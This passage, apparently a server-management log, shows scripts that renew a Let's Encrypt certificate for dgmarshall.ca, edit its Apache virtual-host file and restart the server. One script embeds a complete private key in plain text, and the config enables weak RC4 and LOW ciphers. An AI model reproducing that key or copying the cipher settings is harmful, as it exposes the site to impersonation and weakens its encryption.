Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-30 06:01:54: Establishing a connection
2025-11-30 06:01:54: Establishing a connection
2025-11-30 06:01:55: 

PUT: /tmp/pkp569916

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:01:55: 

chmod 755 /tmp/pkp569916; /tmp/pkp569916; rm /tmp/pkp569916

2025-11-30 06:01:55: 


1


2025-11-30 06:01:55: Establishing a connection
2025-11-30 06:01:55: 

PUT: /tmp/pkp411844

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > BO11lSdx4OHU_pYS_kPknT51VH4Pzrp52WfVSrejVak <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BO11lSdx4OHU_pYS_kPknT51VH4Pzrp52WfVSrejVak.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BO11lSdx4OHU_pYS_kPknT51VH4Pzrp52WfVSrejVak
cat > 4-klphMAiQmxSe2dxg16CJTPqWY1EFT7sI7P8pJP0wQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4-klphMAiQmxSe2dxg16CJTPqWY1EFT7sI7P8pJP0wQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4-klphMAiQmxSe2dxg16CJTPqWY1EFT7sI7P8pJP0wQ


2025-11-30 06:01:55: 

chmod 755 /tmp/pkp411844; /tmp/pkp411844; rm /tmp/pkp411844

2025-11-30 06:01:55: 




2025-11-30 06:02:05: Establishing a connection
2025-11-30 06:02:05: 

PUT: /tmp/pkp601507

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm BO11lSdx4OHU_pYS_kPknT51VH4Pzrp52WfVSrejVak
rm 4-klphMAiQmxSe2dxg16CJTPqWY1EFT7sI7P8pJP0wQ


2025-11-30 06:02:05: 

chmod 755 /tmp/pkp601507; /tmp/pkp601507; rm /tmp/pkp601507

2025-11-30 06:02:05: 




2025-11-30 06:02:05: Establishing a connection
2025-11-30 06:02:06: 

PUT: /tmp/pkp495758

#!/bin/bash
temp_file=$(mktemp)
TARGET=81f76087f3fb05d6e60af69d2a7f0ab7.crt

cat > $temp_file <<'endmsg'
59:93:4b:8e:2e:88:03:ca:94:58:33:31:c5:0f:a4:4a

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBdoARZB2YEVqdz2/rXGMkglkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMzM1WhcNMjYwMjI4MDUwMzM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
vQxokcryQ0kzi21iL+mK67MR8wEuzqdcTNjKN0PuABbF6zIaipNmvbow2/uLVMOW
sVzmZX7y62/Gln3c45SeMPkbZtzGOx5iOsCvb9xahlOwkAn6giJj2eHDe5ZctZMx
Ev066Ni4f9DULYEeH5FsfdqJxEa6UuS3zs1IOeD+9OPgQHRCOgvToYcBwjH6kfLV
VWOAxbR0DWFLXpwdbHlyXjycL7ecLBgF74tJSNN3aESjGRTuFZoNCEa6wVB1UJ1V
FYhllVZT8i3W4EyV25hmwJx9sgNyFq/aumfiYxT2BrcuzIM2cKhBkcnGXwz1vp3U
hAGr1PHSbzEt3e/iIpJIiwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQe3siTtGfVFy9p4UBH1Zs2K9DA2jAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAxLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAAB
mtNaqFwAAAQDAEcwRQIhAJLoRBp1BsubA26U+w6S055frDJ1FUjost8VCAzub+N7
AiBinot9sm0jayfSW9YoQ1w2vhaeCTNAZsYRc0F7uSR7rwB2AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmtNaqHwAAAQDAEcwRQIhAI6GqGn2vjm/
l0K0azymvoLjCC0hDhB2p7KKcQxZq54AAiB82gFyxuxYh7xUexvGiTNBuCtaXGZZ
3b7tVRhgqcQSYTANBgkqhkiG9w0BAQsFAAOCAQEAPgaFIWRgt5ePqVVH/Ww7omid
LBUExyPsvYrWS1JUBCYV7Mz1SEWj0QpdNe8lAM3M2N6/fz7AmXjLynt+/PiqChTM
+eI1t8S3MTTlDPDG2op9ttY+7H7AVorptWgDgGK1NOQrEcIUTYvPmQqd6vpBYIae
diYQBRIUb+fpNjr/dQ4OAwtoOZbCMtf3uWY/khD9O32cIsKmqnqPBPH/uzlajUcW
UJTTw3U/nbGchVa5CsnTFNx5sWqFjNgurAlu33r13W8bxqdMO+5J+KscbGWbRRRx
SxO7Pm6pOVUbRkJotpUA61v/2ufvMRnaJDTUvBVCSWPwC2Iv5EGzxuSf3Rh7Kg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC9DGiRyvJDSTOL
bWIv6YrrsxHzAS7Op1xM2Mo3Q+4AFsXrMhqKk2a9ujDb+4tUw5axXOZlfvLrb8aW
fdzjlJ4w+Rtm3MY7HmI6wK9v3FqGU7CQCfqCImPZ4cN7lly1kzES/Tro2Lh/0NQt
gR4fkWx92onERrpS5LfOzUg54P704+BAdEI6C9OhhwHCMfqR8tVVY4DFtHQNYUte
nB1seXJePJwvt5wsGAXvi0lI03doRKMZFO4Vmg0IRrrBUHVQnVUViGWVVlPyLdbg
TJXbmGbAnH2yA3IWr9q6Z+JjFPYGty7MgzZwqEGRycZfDPW+ndSEAavU8dJvMS3d
7+IikkiLAgMBAAECggEAGOQqXI/hKBTaUZBcbjyMyw3v3hQYyqLkl0WwEmjCTIaz
Fo2pSvevfmmmh0BujwGVtNKrj0+QwokcF7KIw/pMfdw+zGNjQmN0wZGfR9Y2oRsh
00VNE5ddmFGOgJZCrLGts3deK0xltoaTeU5X3gYyx7tfilVZsRJmVTdYPC6wwyOH
auydqT1IZx494/NX4oCNFECbWAxgGFB0VgMe/6RLfm58Mwd5fke8fwjJZMlQ6Fzo
wK6kb3PEfjXK3U6AS3I4PeCbk0BdORLC8CYgC6sut8vbhTS2A00+fyxYfXPMq7UH
n3iG5wMcP1SFjvHHbY9O+/wI/OGxC9Sw9KNjV876WQKBgQD7+ncwOcRj9XUJkH9z
ql+r9j2KHIRjnQbvcCay0Eh11BcFjP84tyLXr8HbFFlEBrfEJz+O5aZr5XKLTUE8
0bWRY/S/0DS0l40bmZZ2YWetqmsJY56YGYnmiek79BwjAADvx7o5ClZ40cB6CDnD
NO4ofOV1OfU8edzsn1iGZ49PZQKBgQDAENLWE8Wufu1M44vnp5G//7ezpwfFibPJ
erZq2sBOQHQhBM90SRo965yt6d9YkFdY8vqSPfp0Xlzj+f82TUlCwZoDOf43FvyU
3A4j7vvu52uX0PQMsKh3fCa514p808/AFjIH8f5DQ3CpqLJu/W0za80AjctPc/yu
2xObH7kRLwKBgEnzjjtnGM5FYZ32/JDTtdRgJlt8VxZtJXXsMk9UdY+vOTp10Qmy
JdWrTXeglzoxxokZA7xKhfcwlddwSu8wlNsgvNn2nyFJQS6SeugvWiBL3bIZvJfj
FufEHeFsmT1kaOH2eh73e71lwdmOxHUX+bWEQkuPQPwIv9/qPC7mAddJAoGBAL9Q
wsNNxK7Rbg0V6CljqHIpBdKlQb+KMBU07/o2VjJcT5EIWqFJpCMjy9kMylZMyUUo
G2KK7Cz4Re0s/AQaLiyZ7pDiNpCnjAe3vzoZ9sf9qxX5pO/zFIyYlXau9hrrXdjI
AyQY8B4OUm4dRUf7lsgOzJCNrYRCU+PVA42UpuMvAoGBAMBFFRSLLufsEOiL00dN
qVLtt8scbeRDJoJiLsHOtZKUZEUlOi7F9ihDbL4wgNSA17n/u/svlLKvhNKwdkes
ITraTW5XUtcxXh+uvLy+4ChuAaEFbvNHRvXvvCyjeaIefCz3gfh7GagetBH1xkfA
fKJNx/pXcp7S/uzAlIQJsI7b
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-30 06:02:06: 

chmod 755 /tmp/pkp495758; /tmp/pkp495758; rm /tmp/pkp495758

2025-11-30 06:02:06: 


dir=/etc/ssl/certs


2025-11-30 06:02:06: 

PUT: /tmp/pkp493499

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/dgmarshall_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-30 06:02:06: 

chmod 755 /tmp/pkp493499; /tmp/pkp493499; rm /tmp/pkp493499

2025-11-30 06:02:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 41

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>






2025-11-30 06:02:06: 

PUT: /tmp/pkp644847

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf= 1'
fi


2025-11-30 06:02:06: 

chmod 755 /tmp/pkp644847; /tmp/pkp644847; rm /tmp/pkp644847

2025-11-30 06:02:06: 




2025-11-30 06:02:06: 

PUT: /tmp/pkp984397

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-30 06:02:06: 

chmod 755 /tmp/pkp984397; /tmp/pkp984397; rm /tmp/pkp984397

2025-11-30 06:02:06: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:02:06: Establishing a connection
2025-11-30 06:02:06: 

PUT: /tmp/pkp409521

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-30 06:02:06: 

chmod 755 /tmp/pkp409521; /tmp/pkp409521; rm /tmp/pkp409521

2025-11-30 06:02:06: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:02:06: 

PUT: /tmp/pkp383597

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:02:06: 

chmod 755 /tmp/pkp383597; /tmp/pkp383597; rm /tmp/pkp383597

2025-11-30 06:02:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf	1500

<VirtualHost *:80>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.ca
    ServerAlias	www.dgmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>







2025-11-30 06:02:06: 

PUT: /tmp/pkp202164

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:02:07: 

